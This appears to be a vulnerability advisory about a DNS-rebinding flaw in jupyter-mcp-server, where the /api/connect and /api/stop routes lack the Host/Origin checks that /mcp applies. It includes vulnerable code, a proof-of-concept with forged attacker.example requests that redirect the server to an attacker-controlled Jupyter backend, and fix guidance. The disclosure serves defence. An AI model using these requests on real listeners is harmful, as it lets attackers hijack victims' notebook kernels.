Critical

Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes

  • Disclosed: 20.11.2026
  • Updated: 21.11.2026 10:00

Standalone streamable-http mode in datalayer/jupyter-mcp-server rejects forged Host and Origin headers on /mcp, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to 127.0.0.1 or a private target address, then send PUT /api/connect to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.

The protected /mcp endpoint shows the intended browser-origin boundary. With MCP_TOKEN configured, /mcp rejects forged browser headers:

POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142

HTTP 421 Invalid Host header

The vulnerable route is jupyter_mcp_server/server.py:143-187. It parses caller JSON, updates the active Jupyter backend configuration, resets ServerContext, and starts the kernel without applying the /mcp Host/Origin rejection to the custom route:

python
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
    data = await request.json()

    document_runtime = DocumentRuntime(**data)

    set_config(
        provider=document_runtime.provider,
        runtime_url=document_runtime.runtime_url,
        runtime_id=document_runtime.runtime_id,
        runtime_token=document_runtime.runtime_token,
        document_url=document_runtime.document_url,
        document_id=document_runtime.document_id,
        document_token=document_runtime.document_token,
        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
    )

    ServerContext.reset()

    try:
        __start_kernel()
        return JSONResponse({"success": True})

/api/stop is also state-changing and accepts the same browser-origin route shape:

python
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
    try:
        current_notebook = notebook_manager.get_current_notebook() or "default"
        if current_notebook in notebook_manager:
            notebook_manager.remove_notebook(current_notebook)
        return JSONResponse({"success": True})

Proof of concept

Run the affected version with MCP_TOKEN configured:

bash
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
  --transport streamable-http \
  --start-new-runtime false \
  --jupyterlab false \
  --mcp-token SCAN_MCP_TOKEN \
  --port 8083

First, show that /mcp rejects the browser-shaped request:

http
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}

Observed response:

http
HTTP/1.1 421
Invalid Host header

Now send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to 127.0.0.1 or the private MCP listener:

http
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json

{
  "provider": "jupyter",
  "runtime_url": "http://127.0.0.1:9183",
  "runtime_id": "",
  "runtime_token": "ATTACKER_TOKEN_REBIND",
  "document_url": "http://127.0.0.1:9183",
  "document_id": "demo.ipynb",
  "document_token": "ATTACKER_TOKEN_REBIND"
}

Observed response:

http
HTTP/1.1 200 OK
content-type: application/json

{"success":true}

The server log shows that /api/connect accepted the attacker-chosen backend despite the browser-origin headers:

Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully

When an attacker-controlled backend is listening on 127.0.0.1:9183, it receives Jupyter API traffic from the MCP server:

POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND

Impact

The protected /mcp endpoint rejects forged Host and Origin values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through /api/stop, replace the configured runtime_url and document_url through /api/connect, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.

Why this is a vulnerability, not intended behavior

  • This is not a generic claim that /mcp lacks Host validation. /mcp rejects the forged Host replay with HTTP 421 Invalid Host header.
  • This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.
  • This is not only a broad-bind issue. The default 0.0.0.0 bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to /mcp.

What to do

Apply the same browser-origin security policy to every route mounted on the standalone HTTP app:

  1. Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.
  2. Require the MCP_TOKEN bearer token on /api/connect, /api/stop, /api/healthz, and any future custom route that reads or changes server state.
  3. Bind standalone HTTP to 127.0.0.1 by default, and require an explicit host allowlist for non-loopback listeners.
  4. Add regression tests proving that /api/connect and /api/stop reject forged browser Host and Origin headers.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) jupyter-mcp-server < 1.0.3 1.0.3

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H
Weakness (CWE)
CWE-350
Platform
Python (PyPI)
Package
jupyter-mcp-server
Disclosed
20.11.2026
Updated
21.11.2026 10:00

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-9x8x-crjq-g64h - CC BY 4.0

Vulnerability history: jupyter-mcp-server

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.